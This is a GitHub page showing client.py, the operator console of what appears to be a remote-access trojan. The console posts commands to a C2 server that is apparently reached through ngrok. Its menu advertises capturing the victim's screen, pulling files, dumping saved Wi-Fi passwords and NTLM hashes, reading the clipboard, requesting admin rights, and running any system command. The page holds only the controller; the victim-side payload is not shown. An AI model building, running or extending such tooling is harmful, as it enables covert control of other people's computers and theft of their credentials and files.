-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
133 lines (117 loc) · 4.24 KB
/
Copy pathclient.py
File metadata and controls
133 lines (117 loc) · 4.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/env python3
import requests
import json
import sys
import os
from prompt_toolkit import prompt
from prompt_toolkit.history import FileHistory
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.completion import WordCompleter
from prompt_toolkit.key_binding import KeyBindings
from prompt_toolkit.styles import Style
# CHANGE THIS TO YOUR NGROK URL
C2_URL = "<URL>"
def send_command(cmd):
"""Send a command to the C2 server."""
try:
resp = requests.post(
f"{C2_URL}/command",
json={"command": cmd},
timeout=5
)
if resp.status_code == 200:
print(f"[+] Command sent: {cmd}")
else:
print(f"[-] Error: {resp.text}")
except requests.exceptions.ConnectionError:
print("[-] Connection error: C2 server not reachable")
except requests.exceptions.Timeout:
print("[-] Timeout: C2 server not responding")
except Exception as e:
print(f"[-] Failed to send command: {e}")
def get_command_history():
"""Load command history from file."""
history_file = ".c2_history"
if not os.path.exists(history_file):
with open(history_file, 'w') as f:
pass
return FileHistory(history_file)
def main():
# Custom style for prompt
style = Style.from_dict({
'prompt': 'bold fg:ansigreen',
})
print("=" * 50)
print(" EXPERT C2 CONTROLLER")
print("=" * 50)
print("\nAvailable Commands:")
print(" screenshot - Capture victim's screen")
print(" upload <path> - Upload a file from victim")
print(" wifi - Get saved Wi-Fi passwords")
print(" clipboard - Get clipboard content")
print(" dumphashes - Dump NTLM hashes (requires Admin)")
print(" elevate - Request Admin privileges")
print(" exit - Kill the payload")
print(" <any cmd> - Run any system command")
print("-" * 50)
print("\n[✓] Arrow keys work!")
print("[✓] Up/Down for command history")
print("[✓] Tab for auto-completion")
print("[✓] Ctrl+C to exit\n")
# Command completion list
command_completer = WordCompleter([
'screenshot', 'upload', 'wifi', 'clipboard',
'dumphashes', 'elevate', 'exit', 'help'
], ignore_case=True)
# Key bindings
bindings = KeyBindings()
@bindings.add('c-c')
def _(event):
"""Ctrl+C to exit."""
print("\n[+] Exiting...")
sys.exit(0)
# Main loop
while True:
try:
# Get command with full editing capabilities
cmd = prompt(
"C2> ",
history=get_command_history(),
auto_suggest=AutoSuggestFromHistory(),
completer=command_completer,
complete_while_typing=True,
key_bindings=bindings,
style=style
)
# Strip whitespace
cmd = cmd.strip()
if not cmd:
continue
# Handle exit commands
if cmd.lower() in ["quit", "q", "exit", "exit()"]:
print("[+] Exiting...")
break
# Show help
if cmd.lower() == "help":
print("\nAvailable Commands:")
print(" screenshot - Capture victim's screen")
print(" upload <path> - Upload a file from victim")
print(" wifi - Get saved Wi-Fi passwords")
print(" clipboard - Get clipboard content")
print(" dumphashes - Dump NTLM hashes (requires Admin)")
print(" elevate - Request Admin privileges")
print(" exit - Kill the payload")
print(" <any cmd> - Run any system command\n")
continue
# Send the command
send_command(cmd)
except KeyboardInterrupt:
print("\n[+] Exiting...")
break
except EOFError:
print("\n[+] Exiting...")
break
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
main()